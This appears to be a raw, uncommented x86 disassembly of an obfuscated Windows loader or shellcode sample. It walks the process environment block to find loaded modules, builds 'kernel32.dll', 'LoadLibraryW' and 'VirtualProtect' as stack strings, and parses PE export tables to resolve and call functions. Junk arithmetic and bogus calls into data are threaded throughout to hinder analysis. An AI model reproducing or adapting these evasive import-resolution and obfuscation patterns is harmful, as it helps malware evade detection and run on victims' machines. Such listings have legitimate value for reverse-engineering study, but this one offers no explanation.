movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x4053b2
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x405415
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4052d1
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4052d1
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x4053ff
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x405409
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x40545e
push ebx
or ebx, 0xd43b
call 0x405434
add byte [esi + esi], bh
inc ecx
dec ebx
aas
dec ecx
cmp eax, dword [ebp + esi - 0x7d]
les eax, [ecx + eax*4]
retf
push edi
add edi, 0x184ba
xor edi, 0xe39
add edi, 0x147f6
pop edi
push edi
push edx
add esp, 4
xor edi, 0xd040
xor edi, 0x13728
jmp 0x405489
xor edi, 0x4b3
pop edi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4054bc
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x405272
mov dword [ebp - 0x2e0], 0
push eax
push ebx
add esp, 4
call 0x4054d9
add byte [edi + 0x4f], cl
inc ebp
cmp edi, dword [edi - 0x3b7cc3ba]
add al, 0x58
push eax
push edi
add esp, 4
jmp 0x4054eb
jmp 0x4054f1
and eax, 0x11ad0
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x405e11
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
call 0x4055ad
add byte [ebp + 0x4e], cl
cmp al, 0x32
inc esi
dec esi
add esp, 4
call 0x4055bc
add byte [esi + 0x4f], cl
xor cl, byte [edi + 0x4d]
cmp byte [ebx + 0x8e804c4], al
add byte [eax], al
add byte [eax], al
dec edi
dec ebx
cmp al, 0x4e
dec esp
dec eax
add esp, 4
pop ebx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
push esi
add esp, 4
sub ecx, 0x13059
pop ecx
push esi
and esi, 0x656f
xor esi, 0x13ee
jmp 0x405670
pop esi
push edi
push ecx
add esp, 4
jmp 0x40567d
xor edi, 0x142d4
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x40569c
mov dword [ebp - 0x6ec], 0
jmp 0x405958
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
push esi
add esp, 4
add eax, 0x15a7c
pop eax
push ebx
or ebx, 0xc412
pop ebx
push ecx
jmp 0x4056ca
pop ecx
push eax
push edi
add esp, 4
call 0x4056dc
add byte [eax + 0x36], cl
dec ebx
cmp ecx, dword [edi + 0x3b]
add esp, 4
pop eax
cmp dword [ebp - 0xc2c], 0
jne 0x4056f8
mov dword [ebp - 0x6ec], 0
jmp 0x405958
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
push esi
add esp, 4
and ebx, 0x18527
or ebx, 0x9f8e
or ebx, 0x1854c
pop ebx
push esi
add esi, 0x680b
sub esi, 0xef07
add esi, 0xdbcd
xor esi, 0x18441
pop esi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ecx
jmp 0x40576d
jmp 0x405776
pop ecx
push edx
push esi
add esp, 4
xor edx, 0xed85
and edx, 0x16b80
xor edx, 0x16395
and edx, 0x34e4
pop edx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
push eax
add esp, 4
xor edx, 0x8dcb
sub edx, 0x44e3
add edx, 0x4710
and edx, 0x56e2
pop edx
push ecx
sub ecx, 0x12bc3
add ecx, 0x9386
add ecx, 0x1d41
pop ecx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x405844
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x4058a7
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x405763
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x405763
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x405891
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x40589b
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x4058f0
push eax
or eax, 0x19c
and eax, 0x812c
jmp 0x4058c3
xor eax, 0xb014
pop eax
push ebx
push ecx
add esp, 4
sub ebx, 0x15e66
sub ebx, 0x1f11
xor ebx, 0xce64
pop ebx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x405958
push esi
push ecx
add esp, 4
sub esi, 0x15499
add esi, 0x9507
call 0x405910
add byte [esi + 0x35], al
aas
xor eax, dword [edi + 0x4d]
aaa
dec esi
add esp, 4
pop esi
push ecx
xor ecx, 0x5f34
sub ecx, 0xdbf
pop ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x40594e
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x405704
mov dword [ebp - 0x6ec], 0
push esi
sub esi, 0x7bb7
pop esi
push ecx
push ebx
add esp, 4
add ecx, 0x8497
add ecx, 0x11e37
or ecx, 0x682e
pop ecx
push ecx
push eax
add esp, 4
or ecx, 0xc47e
add ecx, 0x45eb
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x4059d4
push edx
push edi
add esp, 4
call 0x4059a7
add byte [0x48433d39], bh
inc ebx
inc ecx
xor eax, 0x4c48342
add edx, 0xf021
add edx, 0x18170
or edx, 0xf759
pop edx
push edx
add edx, 0x170dd
pop edx
mov dword [ebp - 0x738], 0
jmp 0x4064fb
push ecx
push esi
add esp, 4
xor ecx, 0xed98
pop ecx
push ebx
push ebx
add esp, 4
and ebx, 0x70c
jmp 0x4059f2
call 0x405a02
add byte [esi], dh
cmp eax, dword [edx + 0x35]
push eax
inc ecx
cmp byte [esi + 0x3b], cl
cmp eax, dword [ebx - 0x74a4fb3c]
test dword [ecx + edi*8], edx
invalid
push edx
and edx, 0x5346
add edx, 0x466e
pop edx
push edx
push eax
add esp, 4
sub edx, 0xa04f
sub edx, 0x114ec
or edx, 0x9c93
pop edx
push eax
push eax
add esp, 4
or eax, 0x72dd
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push esi
and esi, 0x2c81
pop esi
push ebx
and ebx, 0x4192
pop ebx
push ecx
and ecx, 0x13f38
pop ecx
push eax
xor eax, 0x6019
xor eax, 0x6f46
sub eax, 0xf8cc
and eax, 0x5a0d
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x405eb4
mov dword [ebp - 0x2e0], 0
jmp 0x40615b
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
push ecx
add esp, 4
call 0x405eda
add byte [ebx + 0x49], al
dec ebp
xor edx, dword ds:[eax + 0x45]
cmp al, 0x4c
add esp, 4
pop ecx
push ecx
or ecx, 0xa0c7
or ecx, 0x113eb
add ecx, 0x9378
add ecx, 0x18177
pop ecx
cmp dword [ebp - 0xc3c], 0
jne 0x405f10
mov dword [ebp - 0x2e0], 0
jmp 0x40615b
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
push edx
add esp, 4
or eax, 0x16eb7
xor eax, 0xdc2e
pop eax
push esi
add esi, 0x16478
sub esi, 0x13577
pop esi
push eax
push edx
add esp, 4
add eax, 0x15c59
and eax, 0x6fb5
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edx
add edx, 0x4e71
sub edx, 0x1640c
xor edx, 0x910d
xor edx, 0x9811
pop edx
push ecx
push edx
add esp, 4
call 0x405fa6
add byte [edx], dh
inc edx
inc edi
xor al, 0x38
inc ebx
xor eax, dword [eax + 0x38]
add esp, 4
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push eax
push esi
add esp, 4
add eax, 0x49d9
sub eax, 0x14d57
add eax, 0xad7a
sub eax, 0x16a03
pop eax
push ecx
xor ecx, 0x9016
or ecx, 0x471a
or ecx, 0xe947
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x406050
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x4060aa
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x405f78
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x405f78
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x406094
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x40609e
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x4060f3
push ebx
push eax
add esp, 4
add ebx, 0x34b7
sub ebx, 0x8be2
pop ebx
push ecx
add ecx, 0x6c96
sub ecx, 0xe04b
or ecx, 0xeb7c
pop ecx
push esi
push edi
add esp, 4
or esi, 0x8996
pop esi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x40615b
push ecx
add ecx, 0x9923
jmp 0x406103
pop ecx
push ebx
push ebx
add esp, 4
jmp 0x406112
pop ebx
push edi
push eax
add esp, 4
xor edi, 0x6039
add edi, 0xadb2
pop edi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x406151
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x405f1c
mov dword [ebp - 0x2e0], 0
push ebx
call 0x406169
add byte [ebx], bh
inc edi
cmp dh, byte ds:[0xc483474e]
add al, 0x5b
push ebx
and ebx, 0x1661b
or ebx, 0x10534
and ebx, 0x7928
pop ebx
push edx
push ebx
add esp, 4
xor edx, 0x10508
pop edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push esi
push edx
add esp, 4
xor esi, 0x120eb
xor esi, 0x3140
xor esi, 0x1770
pop esi
push ecx
sub ecx, 0x146ed
sub ecx, 0x7045
xor ecx, 0x78b7
add ecx, 0x12c35
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x4061fe
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x4064ef
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x406226
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x4064ef
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x406258
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x4064ef
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x40627d
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x4064ef
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4062d7
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x4064e3
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x406347
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x4063f9
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x4063f9
push edi
push edx
add esp, 4
sub edi, 0xc34f
xor edi, 0xab25
sub edi, 0xb467
add edi, 0x2d3a
pop edi
push edi
and edi, 0x7b29
and edi, 0x12013
xor edi, 0xc8b5
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x4063eb
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x4063f2
jmp 0x406338
jmp 0x4063f9
push edx
push edi
add esp, 4
call 0x40640b
add byte [esi], bh
inc eax
aaa
dec esp
cmp eax, 0x4c4834f
pop edx
push ecx
sub ecx, 0x12465
or ecx, 0x1847e
add ecx, 0x15cdc
pop ecx
push ecx
and ecx, 0xee28
pop ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x406458
mov dword [ebp - 0xc40], 0
jmp 0x4064c7
push ebx
push edi
add esp, 4
or ebx, 0x131fa
sub ebx, 0xf092
jmp 0x406470
pop ebx
push ecx
sub ecx, 0x1096a
add ecx, 0x128f9
and ecx, 0xfd80
jmp 0x406489
pop ecx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x4064bd
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x4064c7
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x4064de
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x4064ef
jmp 0x4062c8
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
xor ebx, 0x3f20
pop ebx
push esi
or esi, 0xb03
pop esi
push edx
push eax
add esp, 4
call 0x40651d
add byte [0x393b444e], bh
inc esp
dec edi
add esp, 4
or edx, 0x143e9
sub edx, 0x59cf
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
push edx
add esp, 4
call 0x40654d
add byte [ebx], bh
aas
push eax
aaa
xor dh, byte [edx]
add esp, 4
and edi, 0x229f
jmp 0x40655b
add edi, 0x13a50
pop edi
push edx
push ebx
add esp, 4
and edx, 0x17f18
pop edx
cmp dword [ebp - 0x3cc], 0
je 0x406580
cmp dword [ebp - 0xa5c], 0
jne 0x4065c6
push ebx
push ecx
add esp, 4
and ebx, 0x55f7
and ebx, 0x70e4
sub ebx, 0xba1
pop ebx
push eax
or eax, 0xf57b
and eax, 0xcc4f
and eax, 0x157ad
add eax, 0x3d95
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
push eax
add esp, 4
call 0x4065e1
add byte [edi + 0x45], al
dec edx
xor eax, dword [ebx + 0x3f]
add esp, 4
pop eax
push ebx
jmp 0x4065ef
add ebx, 0x17044
and ebx, 0x12108
sub ebx, 0x1620c
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
push esi
add esp, 4
xor ebx, 0x44b7
pop ebx
push edx
add edx, 0x5f59
add edx, 0x1122b
xor edx, 0xd9bc
pop edx
push ecx
push ecx
add esp, 4
add ecx, 0x10ecd
and ecx, 0x11be6
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
push edx
add esp, 4
or eax, 0xfe77
pop eax
push ebx
or ebx, 0x6cc3
and ebx, 0xffcc
or ebx, 0x6598
add ebx, 0x13958
pop ebx
push ecx
push ecx
add esp, 4
sub ecx, 0x674e
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push edi
add esp, 4
sub ebx, 0x15701
pop ebx
push edx
push edx
add esp, 4
call 0x406741
add byte [eax], bh
xor al, 0x4d
dec edx
xor al, 0x38
xor ecx, dword [edi - 0x7d]
les eax, [ecx + eax*4]
retf 0x80c0